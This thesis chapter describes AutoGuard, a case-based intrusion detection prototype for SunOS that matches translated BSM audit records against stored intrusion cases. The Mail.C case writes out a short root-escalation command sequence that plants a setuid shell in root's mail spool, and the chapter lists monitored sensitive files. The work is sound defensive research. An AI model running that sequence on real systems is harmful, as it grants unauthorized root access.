We have used C/C++ as the programming language for the implementation of the prototype. The prototype runs under the SunOS 4.1.3 operating system and uses the Sun BSM audit trail as its input. The programming techniques and language features we have used for the implementation are applicable to other programming languages as well. The implementation is directed at providing a case-based intrusion detection system which is able to effectively predict and detect an ongoing intrusion on the computer network. Measurements of the time requirements of the implementation is also presented.

The choice of the language was dictated by the following reasons, which are not unique to C/C++:

- The *free availability* of quality implementations of the language. Not only is this helpful for developing software, it is important for wide-spread acceptance if the implementation is distributed in source form for others to modify and adopt to their environments. We have used the 'gnu' C/C++ compilers for our prototype.

- Our *familiarity* with C/C++ and its development environment. In the interest of building a working prototype quickly, we capitalized on our knowledge of the language and the development environment provided by 'gnu' team.
5.2 Continuous Case-based reasoning

Case-based reasoning has been shown as a powerful and useful technology for solving problems in domains such as design, planning and diagnosis which can be readily described by symbolic representations. However, there are some problem domains which require continuous and real-time performance. Examples of such domains include autonomous robotic navigation, intrusion detection and stock market prediction. Ram and Santamaria [161] proposed a new case-based reasoning approach called continuous case-based reasoning that addresses the above problems. Continuous CBR requires continuous representations, continuous performance, and continuous learning. In the following section we describe a continuous case-based reasoning approach to intrusion detection.

5.2.1 Continuous CBR for Intrusion Detection

A case-based intrusion detection system maintains a case-base in which past intrusions are stored. A case in such a system represents an intrusion sequence that consists of a sequence of actions.

When a new audit record is received, the system retrieves relevant intrusion cases from the case-base and uses those cases as a basis to evaluate and assess the new events. A typical Case-Based Intrusion Detection (CBID) process includes the steps as shown in Figure 5.1.

The sequence of low level audit records are first translated into a sequence of high level action classes in an audit translator. The input data to the CBR module is called an scenario consisting of a sequence of events. Each event is one or more entries in the audit trial and is described by a number of arguments. Given a scenario made up of N events, the case-based reasoner searches the case base and retrieves cases that match those N events partially or perfectly. The issue following retrieval is to establish how close a case is to providing a solution to the new intrusion problem. In order to compare and rank cases, the case-based reasoner uses the concept of risk factor which represents the degree of risk associated with an event (see Table 4.4). When the combined risk factor assigned to a case exceeds a threshold value, the system determines a possible
5.2. Continuous Case-based reasoning

intrusion and recommends an appropriate action. Otherwise the system continues to
monitor and guard the system in the same fashion.

AutoGuard's design uses groups of files or directories (called file-sets) that share
certain characteristics which make them vulnerable to certain types of attack scenarios.
These file-sets provide a very convenient way of generalizing the intrusion scenarios. The
following sections further illustrate the overall design of AutoGuard by providing a high
level discussion of a system specific prototype implementation. The target operating
system for the prototype has been chosen to be Unix for the following reasons:

1. the availability of documentation regarding the implementation of its file system,
   process structures and audit mechanisms,

2. the availability and abundance of data regarding Unix security flaws and penetra­
tion scenarios, and

3. the availability of Unix for implementing and testing the prototype in an academic
   environment.

The following sections discuss the Unix-specific implementation details of the indi­
vidual data and code modules that collectively make-up AutoGuard. There are three
5.3 Implementation of AutoGuard

The approach described in Chapter 4, has been implemented into a prototype, on Unix operating system. This prototype, called AutoGuard, is for SunOS 4.1.3. AutoGuard is designed to be a real-time system which is able to preempt an attack before any serious damage is done. AutoGuard uses the audit collection mechanism that exists as an add-on package to SunOS 4.1.3 called C2-BSM (Basic Security Module)\(^1\) together with the evolving field of case-based reasoning.

A number of design support issues have been considered in the development of AutoGuard.

- The system should be able to preempt an attack before any serious damage is done.

\(^1\)The C2-BSM is designed to be compliant with the TCSEC requirements for a system at the C2 classification [195].
5.3. Implementation of AutoGuard

- It should allow the system security officer to browse through the cases already in working memory.

- The system should report to the system security officer of any suspicious activities it encounters.

- The system should include a GUI (Graphical User Interface) to offer the system security officer better access to the knowledge encoded in the system.

- The system should provide a user-friendly case-entry module.

Currently AutoGuard implements the following features:

- It contains a command-line case-entry module.

- It reports all the matched cases in the working memory and also the depth of match.

- It ranks the retrieved cases based on the combined risk factor.

- It recommends the system security officer the appropriate actions to preempt or reduce the damage.

AutoGuard is centered around a case-based reasoning system. A schematic layout and control flow of AutoGuard is illustrated in Figure 4.9. It is a modular design, consisting of the following five major components: audit translator, case entry module, case-base, CBR engine and the action recommendation module.

5.3.1 Audit Translator

Intrusion scenarios are normally documented as a sequence of operating system commands. However, an intruder may use commands with equivalent semantics to succeed in his attack. To reduce the dependency of intrusion scenarios on the actual commands and audit data, a higher-level representation is used for intrusion scenarios.

Overview of SunOS 4.1 Audit Record Implementation

The first step in understanding the translation process from SunOS audit records to the AutoGuard prerequisite format is to understand what information is maintained in the SunOS audit trail. This section provides a brief overview of the structure and contents of the SunOS audit record format. For more information on SunOS audit records and/or
5.3. Implementation of AutoGuard

Table 5.1: SunOS Audit Record Header

<p>| | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1. record size</td>
<td></td>
</tr>
<tr>
<td>2. record type</td>
<td></td>
</tr>
<tr>
<td>3. record event</td>
<td></td>
</tr>
<tr>
<td>4. time</td>
<td></td>
</tr>
<tr>
<td>5. real UID</td>
<td></td>
</tr>
<tr>
<td>6. audit UID</td>
<td></td>
</tr>
<tr>
<td>7. effective UID</td>
<td></td>
</tr>
<tr>
<td>8. real group UID</td>
<td></td>
</tr>
<tr>
<td>9. process ID</td>
<td></td>
</tr>
<tr>
<td>10. error code</td>
<td></td>
</tr>
<tr>
<td>11. return value</td>
<td></td>
</tr>
<tr>
<td>12. label</td>
<td></td>
</tr>
<tr>
<td>13. no. of parameters</td>
<td></td>
</tr>
</tbody>
</table>

The audit utilities that create and maintain the audit records, the reader is referred to [141].

The SunOS Release 4.1 audit facility is provided within Sun's C2 add-on Security Package. The C2 Security Package provides SunOS environments with improved password security, the ability to audit nearly all system events and a password requirement for single-user boots.

SunOS audit records are divided into two sections: a fixed length section and a variable, event-dependent section. The two sections are concatenated together, producing variable length audit records, whose sizes depend on the events that generated them. The fixed length section, or record header, consists of thirteen fields, which are listed in Table 5.1.

The record size field specifies the size of the record. The record type field specifies the system call that was responsible for the audit record, and also indicates the format of its variable portion. The record event field specifies which event was performed by the system call, and is defined using the set of event classes in Table 5.2. Event classes are used by the AutoGuard Audit Translator to determine the signature action field of the corresponding AutoGuard audit record, and are discussed further in Section 5.3.2. The time field is used to record both the date and time that the event occurred. The real UID, audit UID, effective UID and real group UID fields collectively specify the user, and privileges, on whose behalf the audit record was generated. Note that of these four fields, all but the audit UID field correspond directly to the RUID, EUID and GUID process attributes, which are standard on Unix systems. The audit UID is similar to...
5.3. Implementation of AutoGuard

<table>
<thead>
<tr>
<th>Short Name</th>
<th>Long Name</th>
<th>Short Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>dr</td>
<td>data_read</td>
<td>read of data, open for reading, etc.</td>
</tr>
<tr>
<td>dw</td>
<td>data_write</td>
<td>write or modification of data</td>
</tr>
<tr>
<td>dc</td>
<td>data_create</td>
<td>creation or deletion of any data</td>
</tr>
<tr>
<td>da</td>
<td>data_access_change</td>
<td>change in object access (modes, owner)</td>
</tr>
<tr>
<td>lo</td>
<td>login_logout</td>
<td>login, logout, creation by at daemon</td>
</tr>
<tr>
<td>ad</td>
<td>administrative</td>
<td>normal administrative operation</td>
</tr>
<tr>
<td>p0</td>
<td>minor privilege</td>
<td>privileged operation</td>
</tr>
<tr>
<td>p1</td>
<td>major privilege</td>
<td>unusual privileged operation</td>
</tr>
<tr>
<td>sr</td>
<td>spooler_read</td>
<td>read in spooler area</td>
</tr>
<tr>
<td>sc</td>
<td>spooler_control</td>
<td>controlling the spooler area</td>
</tr>
<tr>
<td>as</td>
<td>device_assign</td>
<td>assigning a device</td>
</tr>
</tbody>
</table>

Table 5.2: Audit Event classes defined for the Record Event Field

the real UID, with the exception that unlike the real UID field, the audit UID will not change as a result of the successful execution of su(1). The process ID field records the pid of the process responsible for the audit record. The error code field records the error value produced by a failed system call, and the return value field records the value that is returned by the system call. The label field is unused in this implementation. Finally, the 'no. of parameters' is a set of two byte integers containing the number of parameters following the header. These numbers are the lengths of the additional data items. The additional data items follow the list of lengths, the first length describing the first data item. Interpretation of this data is left to the program accessing it.

The variable portion of the audit record structure is dependent on the system call or program responsible for the audit record’s creation. The full list of the individual system call variable portions is beyond the scope of this thesis, but the interested reader can refer to [141]. The key point to note regarding the variable section is that it consistently provides the identity of the object that was manipulated by the system call or program that was responsible for the record. For example, the variable portion of the creat(2) system call audit record identifies the full pathname of the file created by the call. The following section presents a mapping from the SunOS Release 4.1 audit record format to the AutoGuard prerequisite audit record format.

5.3.2 Translating SunOS Audit Records

The audit translator/preprocessor is responsible for reading, filtering and passing the BSM audit records to the CBR engine in the required format by AutoGuard. It maps
5.3. Implementation of AutoGuard

a combination of the 74 different events which are audited by BSM to only 10 different classes: Duplicate, File Creation, File Moving, Print, Link, Access Control, Mail, Debug, Remove and Execution. The CBR engine operates using these 10 action classes. Table 4.3 lists the 10 different AutoGuard’s action classes.

The translator also takes the return value of an event into account. Unlike USTAT [93, 94], it does not filter out the BSM records that indicate a return value -1, which indicates that the call made by the user was not successful.

According to AutoGuard design, the audit record structure is defined by the five-tuple:

< Subject, Success, Action, Object, Time of Action >

Example:

```
g154 s (4 -s) (file2 file1) 838288264
```

shows that user g154 was successful in linking symbolically file1 to file2 at the time which is shown in a long format as 838288264.

Figure 5.2 summarizes the mapping between the AutoGuard prerequisite audit record format and the SunOS Release 4.1 C2 audit record format. The subject is identified by its unique ID and privileges, the action is defined as one of ten action classes listed in Table 4.3, and the object is defined by its unique ID. The success or failure of the action is set based on the return code and the time of action is exactly the same as the one in the time field.

Since most scenarios are applicable to more than one particular file [95], instead of duplicating the scenario for each possible file as a new case, files that share common characteristics are grouped together into groups called file-sets. These characteristics are usually attributes which are not kept by the file system, but rather those that are assigned to the files by the users, e.g., system files, which can be identified by looking at the directories where they are located.

One point to keep in mind is that AutoGuard, like all intrusion detection implementations, requires a specific set of data that the target system provides within its audit trail in order for AutoGuard to perform to its full potential. Target systems that do not meet all of the audit data requirements will limit, but will not necessarily prevent, this tool from performing an effective search for intrusions.
5.4 The AutoGuard Knowledge-Base

The description of the AutoGuard Knowledge-base is broken into two sections. First the AutoGuard fact-base, which contains a collection of Unix specific data necessary for the AutoGuard case-based reasoner module. The purpose of the fact-base is to collect and maintain information that AutoGuard believes to be true regarding its execution environment. In this case, the primary function of the fact-base is to identify and maintain lists of files that possess characteristics exploitable by Unix intrusions. Second, the AutoGuard case base which contains the cases encoding the actual intrusion scenarios.

5.4.1 The AutoGuard Fact-Base

In UNIX, there are a number of potential object-sets, in this case file-sets, as well as a number of key files that are so vital to UNIX security that any modification or reference
to them by a non-administrative user is enough to warrant an action from the IDS. Following USTAT [93, 94], for the purpose of this study, we identify two key file-sets and six file-sets.

The two key file-sets are Restricted-Read Files and Restricted-Write Files.

<table>
<thead>
<tr>
<th>Restricted-Read Files</th>
<th>/dev/kmem</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>/dev/mem</td>
</tr>
</tbody>
</table>

| Restricted-Write Files | /etc/*    |
|                        | /bin/*    |
|                        | */.*      |
|                        | /usr/etc/yp* |
|                        | /usr/ucb/* |
|                        | files referenced in /usr/lib/crontab |

Members of the key file-sets are designated via their unique full pathnames. The system key files are broken into two sets: Restricted-Read and Restricted Write. The two restricted-read key files are restricted in the sense that each contains sensitive information that if read by a non-administrative user could compromise the security of the system. For example, Discolo [50] illustrates one penetration in which cleartext passwords are stolen directly from the file /dev/kmem. On the other hand, there are legitimate user accessible utilities such as `ps(1)` that provide limited access to some of the non-security critical data within /dev/kmem. Therefore, the Inference Engine must not only monitor references to the restricted-read files, but should be able to distinguish between those references performed through the execution of UNIX utilities specifically provided to reference these files from those references that are not.

The restricted-write key files can be broken into two types: data files and publicly executable system utilities. An example of a restricted-write data file is /etc/passwd. Like /dev/kmem, UNIX provides specific utilities that allow users to modify /etc/passwd in a secure manner. Hence, the Inference Engine must be able to distinguish those writes that occur using the appropriate UNIX utility from those writes that do not. Executable system files are included in the set of restricted-write key files in recognition of the potential damage that could occur if these files were subverted into Trojan horses or infected by viruses. Trojan horses and viruses are particularly damaging when written into publicly executable utilities.
### 5.4. The AutoGuard Knowledge-Base

<table>
<thead>
<tr>
<th>File Set #1</th>
<th>All setuid/setgid enabled scripts containing <code>#!/bin/sh</code> mechanism</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Set #2</td>
<td>All binary executable files that are setuid/setgid enabled</td>
</tr>
<tr>
<td>File Set #3</td>
<td>All setuid/setgid enabled files</td>
</tr>
<tr>
<td>File Set #4</td>
<td>All designated mail files in <code>/usr/spool/mail</code></td>
</tr>
<tr>
<td>File Set #5</td>
<td>All utilities authorized to reference Restricted Read key file-set</td>
</tr>
<tr>
<td>File Set #6</td>
<td>All utilities authorized to reference Restricted Write key file-set</td>
</tr>
</tbody>
</table>

The key common factor among four of the above six file-sets is that each is described in terms of one or more file attributes. For example, the first three file-sets all specify that their members are files with the setuid/setgid bit enabled. File-set #1 further requires the files to be scripts containing the `#!/bin/sh` mechanism, which can be determined using the `grep(1)` utility. File-set #2 specifies all setuid-setgid binary files, which can be determined using a process similar to that used in the `file(1)` utility. File-set #3 is the set of all setuid files on the system. File-set #4 specifies all designated MAIL files on the system (i.e., those files in the `/usr/spool/mail/` directory with names that correspond to user accounts). File-set #5 and #6 specify the sets of user accessible system utilities intended to provide access to the restricted read and write file-sets. An excellent model to aid in the development of the fact-base initializer, whose job is to create the above file-sets, is the COPS file attribute checker [62].

### 5.4.2 Case-Base

The case base stores all the scenarios as cases using the action class definitions. Currently, it contains 12 cases each representing previously known intrusion scenarios. This cases have been acquired consulting four different papers and Masters theses [155, 51, 112, 93].

The cases are entered into the case base using a notion called frames [65, 66]. Figure 5.3 illustrates an example of a case in the case base. Each case contains three partitions: `Example.Attack`, `Intrusion.Seq` and `Description`. `Example.Attack` contains an actual example of the attack which is encoded in the case. `Intrusion.Seq` shows different possible permutations of the events in the case and `Description` encodes the actual events in the case.
5.5 CBR Engine

The remainder of this chapter describes the operation of the CBR engine. The CBR engine is the heart of the intrusion detection system.

As mentioned earlier, the sequence of audit records are translated into a sequence of action classes using the translator and then presented to CBR module which monitors the \( N \) most recent actions contained in the active window of the system. CBR reasoner brings all cases that match the window to its working memory and uses accumulated risk factor to rank them. The recommended action will be determined on the basis of the highest accumulated risk factor of the retrieved cases.

<table>
<thead>
<tr>
<th>Case name:</th>
<th>Mail.C</th>
</tr>
</thead>
<tbody>
<tr>
<td>Example_Attack:</td>
<td></td>
</tr>
<tr>
<td>cp /bin/csh /usr/spool/mail/root</td>
<td></td>
</tr>
<tr>
<td>chmod 4755 /usr/spool/mail/root</td>
<td></td>
</tr>
<tr>
<td>touch x</td>
<td></td>
</tr>
<tr>
<td>mail root &lt; x</td>
<td></td>
</tr>
<tr>
<td>/usr/spool/mail/root</td>
<td></td>
</tr>
<tr>
<td>Intrusion_Seq:</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_1, \mathcal{E}_2, \mathcal{E}_3, \mathcal{E}_4, \mathcal{E}_5 )</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_1, \mathcal{E}_3, \mathcal{E}_2, \mathcal{E}_4, \mathcal{E}_5 )</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_3, \mathcal{E}_1, \mathcal{E}_2, \mathcal{E}_4, \mathcal{E}_5 )</td>
<td></td>
</tr>
<tr>
<td>Description:</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_1 )</td>
<td>DUPLICATE</td>
</tr>
<tr>
<td>origin = in Res.Write</td>
<td></td>
</tr>
<tr>
<td>dest = in File_Set #4</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_2 )</td>
<td>ACCESSCONTROL</td>
</tr>
<tr>
<td>option = 4755</td>
<td></td>
</tr>
<tr>
<td>argument = in File_set #4</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_3 )</td>
<td>FILE_CREATION</td>
</tr>
<tr>
<td>subject = filel</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_4 )</td>
<td>MAIL</td>
</tr>
<tr>
<td>receiver = root</td>
<td></td>
</tr>
<tr>
<td>subject = filel</td>
<td></td>
</tr>
<tr>
<td>( \mathcal{E}_5 )</td>
<td>EXECUTION</td>
</tr>
<tr>
<td>subject = in File_SET #4</td>
<td></td>
</tr>
</tbody>
</table>

Figure 5.3: An example case representing an intrusion scenario.

5.4.3 Case-Entry Module

This module allows the system security officer to enter new cases to produce new case libraries for AutoGuard or to update and add new cases to existing case libraries. Currently, this module is implemented using a command-line interface.
5.5. CBR Engine

5.5.1 Case retrieval strategy

Cases are indexed by Intrusion_seq field. For example the indices for the case Mail.C in Figure 5.3 are \((\mathcal{E}_1 \mathcal{E}_2 \mathcal{E}_3 \mathcal{E}_4 \mathcal{E}_5), (\mathcal{E}_1 \mathcal{E}_3 \mathcal{E}_2 \mathcal{E}_4 \mathcal{E}_5)\) and \((\mathcal{E}_3 \mathcal{E}_1 \mathcal{E}_2 \mathcal{E}_4 \mathcal{E}_5)\) (\(\mathcal{E}\)'s index each action).

Matching and retrieval in AutoGuard is a dynamic process. Unlike traditional case-based reasoning systems, where the proposed solution is on the basis of the full description of a problem, CBR module monitors the actions in the active window and retrieves all the cases that match the window partially.

A matched case is one that has an intrusion sequence that starts with \(n, (n = 1, 2, \cdots M)\) most recent actions stored in the active window. With the arrival of a new audit record, active window and working memory are refreshed (see Figure 4.23).

5.5.2 Case selection strategy

Working memory contains cases that partially match the window sequence. These cases are ranked and the recommended action is based on the case with the highest rank.

In CBIDS ranking is based on the severity of the threat posed to the system which is represented by the combined risk factor (CRF). CRF grows with increase in the degree of the partial match. The simplest match is for one action and hence we need to define a risk factor (RF) for each action in the system. We use a combining operation to calculate CRF using RFs of the matched actions.

Risk Factors

An RF for an action is a measure of potential threat to the system. Description of an action consists of an action class together with specific values for arguments and option fields. Actions in a computer system can be grouped into the following categories.

1. actions that are explicitly forbidden by the security policy and are stopped by the protection mechanism of the system.

2. actions that are explicitly forbidden but may pass through the protection mechanism.

3. actions that are not ruled out by the policy but have the potential of putting the system in a risky state.

4. actions that are permissible by the policy.
5.5. CBR Engine

An intrusion scenario always has one of the elements of group 2 or 3.

Giving an actual value to the risk factor is subjective and depends on the study of intrusion cases and the role of a specific action in gaining unauthorized access. To alleviate the problem of attaching a risk factor to each action, a grouping of actions according to the value of their arguments and option fields, is used. A numeric range to each value which will be used for calculating CRF.

An approach similar to that of certainty factor in MYCIN [34] is used to attach RFs to each action. A risk factor takes one of the following values:

\{Very-Low, Low, Middle, High, Very-high\}

Figure 4.14 shows the numeric range for risk factors. Very-high risk factors are attached to the actions that are prohibited for normal users.

If the individual risk factors are mapped from \([\text{Very-Low, Very-High}]\) to \([0,1]\) then the combined risk factor is $\mathcal{RF} \leq 1$. The terms Very-Low, Low, High and Very-High are defined to be equal to 0.2, 0.4, 0.7 and 0.9 respectively.

Combined Risk Factor

To calculate CRF for a partially matched case, a combining operation is used which is inspired by the Belief Functions in MYCIN [34].

$$\mathcal{RF}[\mathcal{E}_1 \& \mathcal{E}_2] = \mathcal{R}[\mathcal{E}_1] + \mathcal{R}[\mathcal{E}_2] - \mathcal{R}[\mathcal{E}_1]\mathcal{R}[\mathcal{E}_2]$$

Case Selection

To each case in the working memory a CRF is attached that captures the degree of partial match and severity of threat if the case succeeds. The case with the highest CRF will be chosen and a preventive action will be recommended accordingly.

The following algorithm illustrates how the CBR module behaves once it receives an audit record:
5.5. CBR Engine

begin

determine relevant cases in working memory for comparison;

Repeat for all relevant cases

determine the accumulated risk factor;

if case match above threshold

then execute the recommend action;

determine relevant cases not in working memory for comparison;

Repeat for all relevant cases

put case in working memory

determine the accumulated risk factor;

if case match above threshold

then execute the recommend action;

end

Figure 5.4 presents a sample of the output generated by CBR module of the Auto­Guard. With this data, the system security officer (SSO) can foresee an impending compromise and has enough information to take precautions to prevent future attacks of the same nature. According to the accumulated risk factor, the CBR module has already recommended the required action to SSO.

<table>
<thead>
<tr>
<th>Case Name</th>
<th>Seq</th>
<th>Match</th>
<th>Acc-Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Debug_C</td>
<td>0</td>
<td>2</td>
<td>0.94</td>
</tr>
<tr>
<td>Print_C</td>
<td>4</td>
<td>0.90</td>
<td></td>
</tr>
<tr>
<td>Mail_C</td>
<td>1</td>
<td>0.70</td>
<td></td>
</tr>
</tbody>
</table>

Figure 5.4: Sample output from CBR module

5.5.3 Action Module

The action module is responsible for informing the SSO about the results of the CBR engine activities. The output of the action module could be one or more of the following actions, which are ranked according to the risk involved.

- Continue to monitor the user activities.
• Inform the SSO that a breach of security is encountered.

• Raise the warning level on the system and if possible raise the monitoring level.

• Suggest possible actions to the SSO to preempt a security violation that can lead to a compromised system.

• play an active role in preempting the attack.

At present, the action module in this version of AutoGuard prototype does not perform the last action.

To recommend an appropriate action, the system follows the following algorithm:

\[
\text{begin} \\
\text{if Low \leq \text{combined risk factor} \leq \text{High}} \\
\quad \text{then } \text{execute monitor, ...;} \\
\text{else if } \text{combined risk factor} < \text{Very-High} \\
\quad \text{then } \text{execute monitor, record, raise warning level;} \\
\text{else if } \text{combined risk factor} \geq \text{Very-High} \\
\quad \text{then } \text{execute record, preempt;} \\
\text{end.}
\]

Each matched case is kept in the working memory till it calculates an accumulated risk factor above a predefined threshold. After recommending the appropriate action to the SSO, the CBR engine removes the case from the working memory and updates the working memory.

5.6 User Interaction

In the current version of AutoGuard prototype, user interaction only occurs at one level: user as case-base manager. The user interacts with the system to update the cases in the case-base, add new cases or build a new case-base. Figure 5.5 illustrates AutoGuard interface. It shows the general information flow between the SSO and AutoGuard. The dotted line in this figure represents the currently unsupported feature.
5.7 AutoGuard as Part of a Hybrid System

As noted previously, AutoGuard is designed to detect the same computer penetrations targeted by currently existing rule-based misuse detection tools. Like current rule-based systems, AutoGuard is effective in detecting abuse from misfeasors as well as external attackers. Unfortunately, AutoGuard is also equally ineffective in detecting masqueraders. Therefore, when incorporated into an intrusion detection system, AutoGuard is expected to work in combination with another intrusion detection tool that specializes in detecting masqueraders (e.g., a profile-based anomaly detector). Collectively, the two tools will complement each other's coverage, providing the ability to detect both masqueraders and misfeasors.

Figure 5.6 is a flow diagram illustrating the intended use of AutoGuard as a component of a larger intrusion detection system. The flow of information begins at the top of the figure, where audit records enter the intrusion detection system, and concludes at the User Interface, where the data is organized and presented to the System Security Officer (SSO). The first step in all intrusion detection systems is the collection of audit data. The Audit Collection Mechanism is usually provided as a component of the system being analyzed. The audit collection mechanism passes the audit records to both the Audit Data Archiver/Retriever, for permanent storage, and to the Audit Translator. The audit data archiver/retriever is often a custom DBMS used to store and retrieve audit data, and is responsible for the organization of all audit data on the system.

The audit record translator refers to one or more individual preprocessors used by each intrusion detection component to isolate and format certain audit record information prior to its input into the component. In Figure 5.6, the audit record translator box represents two individual preprocessors: one for the Profile-Based Anomaly Detector...
Figure 5.6: Organization of intrusion detection components

and one for AutoGuard. Note that Figure 5.6 illustrates the architecture of a real-time intrusion detection system. That is, audit records are input to the preprocessor directly from the audit collection mechanism. In batch mode analysis (off-line), the records would instead be input from the audit data archive.

From the audit record translator, the formatted records are passed to the individual intrusion detection components. Figure 5.6 illustrates an intrusion detection system that utilizes both AutoGuard and a Profile-Based Anomaly Detector. Each component independently analyzes the audit records in search of the compromises for which it specializes in detecting, and their findings are collectively passed to the user interface.

The findings of both AutoGuard and the Profile-Based Anomaly Detector are presented to the System Security Officer via the user interface. The user interface is important to the overall effectiveness of the intrusion detection system in that it is the sole platform
for communication between the intrusion detection system and the security officer. The information must be presented clearly and concisely, for it must be relied upon during security-critical moments. The user interface is used by the security officers to interpret the findings of the intrusion detection components, to submit queries to the components and to set configurable variables within the intrusion detection components. The AutoGuard design described in this chapter currently does not support query capability. The user interface may also provide the SSO access to raw audit records via the audit data archiver/retriever directly. AutoGuard currently does not support direct access to audit record archives through the user interface.

Overall, the components presented in Figure 5.6 that make up the intrusion detection system are the Audit Record Translator, the Profile-Based Anomaly Detector, AutoGuard and the User Interface. One should not confuse the user interface discussed here with user interfaces that are often provided by target systems as part of their audit facilities. The user interface discussed here is a custom software module, specifically designed for and distributed with the intrusion detection system. The audit collection mechanism, audit data archiver/retriever and archival storage unit are components that are provided by the target system.

5.8 Performance

In this section we test AutoGuard’s performance while it is run with other processes coexisting on the system. Usually to measure the intrusion detection system’s performance, the auditing process, the audit daemon is always active. But since we did not have root access to the target system, we were unable to turn on the auditing daemon on the system. The test carried out with a previously archived audit data.

The experiments described below were done on a Sun ELC Workstation with 24MB of memory running SunOS 4.1.3 under light load. The audit file was generated separately by enabling auditing and simulating exploitations and intrusions manually. Auditing was enabled with the default configuration, which logs all successful as well as failed events. The running times mentioned below include the time for the program to load and begin execution, reading of the translated audit data and matching the cases.

The following graphs show performance figures when the intrusion scenarios have been simulated in the system.
5.8.1 Timing Results

Figure 5.7 shows how much time the system requires to match each case (five cases have been simulated) against an audit file of approximate size of 34KB\(^2\). Each sample point in this Figure is the mean value of 50 runs. The circle at the end of each vertical bar serves to highlight the end of the bar. This is the value of the point being plotted. The little horizontal lines on either side of this point represent the standard deviation of the value over 50 runs.

![Figure 5.7: Time for matching each case for a 34KB audit file. 1-Link, 2-Debug, 3-Mail, 4-Mask and 5-Print cases](image)

The audit file contained 213 events. The sample point (0, 0.5) in the figure represents that the application took 0.5 seconds to load and go through the audit file and exit (no case matching at this point). The mean time for an audit trail event is then \(0.5/213 = 2.3\) milliseconds. This is the fixed cost per event for the system. The point (1, 0.523) means that the case numbered one (Link case) took 0.523 seconds when exercised by the 213 events.

Figure 5.8 shows the simulation time when all five intrusions were simulated simultaneously in the same audit file. The event stream was the same as in the previous simulation. The fixed overhead cost of reading the audit file is the same as above, the varying cost that takes the multiplicity of cases into account is:

\[
\text{variable cost/event/case} = \frac{(0.51 - 0.5)}{(213 * 5)} = 9.4\mu s
\]

It also shows the time when two copies of the programs were running simultaneously.

\(^2\)KB in this section means 1024 Bytes.
Consider the extrapolation of these results to estimate the performance of the system in a real setting. When running a set of programs in a real sequence that saturated the CPU, the Sun auditing subsystem generated about 0.6MB every 5 minutes on a single-user workstation. This extrapolates to 7.2MB per hour, or $213 \times 7.2 / 0.034 \approx 45K$ events per hour. Consider that there are 20 cases in the case-based reasoner. Then, for one hour of intensive CPU activity, the detector might require the following time to process the generated audit data:

\[
\begin{align*}
\text{Fixed overhead} &= 0.5s / 213 \times 45000 = 105.6s \\
\text{Variable overhead} &= 9.4 \mu s \times 20 \times 45000 = 8.46s \\
\text{Total Time} &= 105.6 + 8.46 = 114.09s
\end{align*}
\]

Table 5.3: Extrapolating the timing results to match 20 cases

Therefore, for every hour of intensive activity, the detector requires about $\approx 114s$ to match 20 cases. This fraction is $114/3600 \times 100 = 3.17\% \approx 3\%$ of hourly activity. These results correspond to an unoptimized version of the system.

**Analysis**

To derive an approximate but useful comparison with other systems consider how the following characteristics of other systems affect these results:

- *A Uniformly Faster System.* If these experiments were run on a system that computed uniformly faster (i.e., for every mix of jobs) then the number of events being
generated per unit time will increase proportionally. However, we would expect to process each event to decrease by approximately the same proportion. Therefore, with infinite disk logging capacity we would ideally expect the same performance.

- Faster Disk Logging. Assume that the amount of audit trail being generated was limited by the disk logging capacity of the system and not by the CPU. Then, on a machine with the same CPU speed but better disk logging the number of audit events logged per unit time will increase because the CPU will not be suspended from application until the audit subsystem has written audit record to disk. However, the rate at which the trail is processed will remain the same. Therefore, the system will experience a greater performance degradation in this case.

For our experiments this is not a factor since 1.2MB every 10 minutes is \( \approx 2\text{KB/s} \). However, this effect can be taken into consideration in cases where it is true.

### 5.8.2 An AutoGuard Session

Consider the first attack scenario in Figure 4.10. In the case-base, this case is called Mail_C. To detect the scenario represented in this figure the CBR engine should receive a trail of the following audit records:

\[
\begin{align*}
\spadesuit_1 & \text{gl54 s 0 NULL Res_Write File_Set4 838288032} \\
\spadesuit_2 & \text{gl54 s 5 4755 File_Set4 NULL 838288046} \\
\spadesuit_3 & \text{gl54 s 1 NULL file1 NULL 838288064} \\
\spadesuit_4 & \text{gl54 s 6 NULL root file2 838288096} \\
\spadesuit_5 & \text{gl54 s 9 NULL File_Set4 838288113}
\end{align*}
\]

The first audit record (\( \spadesuit_1 \)) means that user gl54 has successfully copied a file from Restricted Write File Set into a directory which is recorded in the File Set #4. After receiving this audit record, the CBR engine matches it with a case in the case memory and reports the following:

```
+-------------------------------+
| Case Name | Seq | Match | Acc-Risk |
+-------------------------------+
| Mail_C   | 1   | 1     | 0.7     |
+-------------------------------+
```

and it shows the following on the report screen:
which means it has recorded what it has found, to be a security breach, to the SSO.

The second audit record ($\boldsymbol{\topl{2}}$) means that user gl54 has successfully changed the access mode to the file in the directory which is in File Set #4 (the one he copied before). Upon receiving this audit record, the CBR engine matches it with the Mail.C case which is already in the working memory and reports:

<table>
<thead>
<tr>
<th>Case Name</th>
<th>Seq</th>
<th>Match</th>
<th>Acc-Risk</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mail.C</td>
<td>1</td>
<td>2</td>
<td>0.91</td>
</tr>
</tbody>
</table>

and it shows the following on the report screen:

<table>
<thead>
<tr>
<th>Actions taken</th>
</tr>
</thead>
<tbody>
<tr>
<td>Continuing to monitor</td>
</tr>
<tr>
<td>Informed the admin</td>
</tr>
<tr>
<td>Disconnect the user</td>
</tr>
</tbody>
</table>

The last line in the action box is due to the accumulated risk factor going above the threshold which is set for the system. This threshold is adjustable and can be changed by the system security officer. It also searches the case-base for other cases that match this audit record.

Upon recommending to disconnect the user, the system continues monitoring the user for further actions. It then removes the case already taken care of from the working memory and updates the working memory.
5.9 Summary

